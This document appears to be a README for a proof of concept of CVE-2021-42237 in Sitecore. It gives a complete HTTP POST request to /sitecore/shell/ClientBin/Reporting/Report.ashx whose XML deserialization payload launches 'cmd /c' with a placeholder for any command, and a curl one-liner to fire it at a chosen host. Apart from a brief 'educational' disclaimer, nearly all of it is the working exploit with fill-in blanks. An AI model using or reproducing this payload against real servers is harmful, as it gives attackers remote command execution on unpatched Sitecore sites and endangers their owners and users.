This is an exploit/PoC for CVE-2021-42237 taken from: This Assetnote report
DISCLAIMER: I'm not associated with Assetnote in any way or form. This content is provided for educational porpouses only.
Make sure to replace CMD-COMMAND-HERE, as well as the Host, from the PoC below:
POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1
Host: sitecore.local
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Connection: close
Content-Type: text/xml
Content-Length: 5919
<?xml version="1.0" ?>
<a>
<query></query>
<source>foo</source>
<parameters>
<parameter name="">
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns:x="http://www.w3.org/2001/XMLSchema"
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
<Count z:Id="2" z:Type="System.Int32" z:Assembly="0"
xmlns="">2</Count>
<Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0"
xmlns="">
<_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0"
xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic"
xmlns:a="http://schemas.datacontract.org/2004/07/System">
<Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0"
xmlns="">
<a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>
<a:delegateEntry z:Id="7">
<a:assembly z:Ref="6" i:nil="true"/>
<a:delegateEntry i:nil="true"/>
<a:methodName z:Id="8">Compare</a:methodName>
<a:target i:nil="true"/>
<a:targetTypeAssembly z:Ref="6" i:nil="true"/>
<a:targetTypeName z:Id="9">System.String</a:targetTypeName>
<a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
</a:delegateEntry>
<a:methodName z:Id="11">Start</a:methodName>
<a:target i:nil="true"/>
<a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>
<a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName>
<a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
</Delegate>
<method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0"
xmlns=""
xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
<Name z:Ref="11" i:nil="true"/>
<AssemblyName z:Ref="12" i:nil="true"/>
<ClassName z:Ref="13" i:nil="true"/>
<Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature>
<Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2>
<MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType>
<GenericArguments i:nil="true"/>
</method0>
<method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0"
xmlns=""
xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
<Name z:Ref="8" i:nil="true"/>
<AssemblyName z:Ref="6" i:nil="true"/>
<ClassName z:Ref="9" i:nil="true"/>
<Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature>
<Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2>
<MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType>
<GenericArguments i:nil="true"/>
</method1>
</_comparison>
</Comparer>
<Version z:Id="23" z:Type="System.Int32" z:Assembly="0"
xmlns="">2</Version>
<Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2"
xmlns="">
<string z:Id="25"
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c CMD-COMMAND-HERE</string>
<string z:Id="26"
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd</string>
</Items>
</ArrayOfstring>
</parameter>
</parameters>
</a>
Here's a one-liner command, just make sure to modify HOST-HERE and CONTENTLENGTH-HERE, and use a random useragent
curl -i -X POST HOST-HERE/sitecore/shell/ClientBin/Reporting/Report.ashx \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept: */*" \
-H "Accept-Language: en" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36" \
-H "Connection: close" \
-H "Content-Type: text/xml" \
-H "Content-Length: CONTENTLENGTH-HERE" \
--data-binary "@CVE-2021-42237.xml"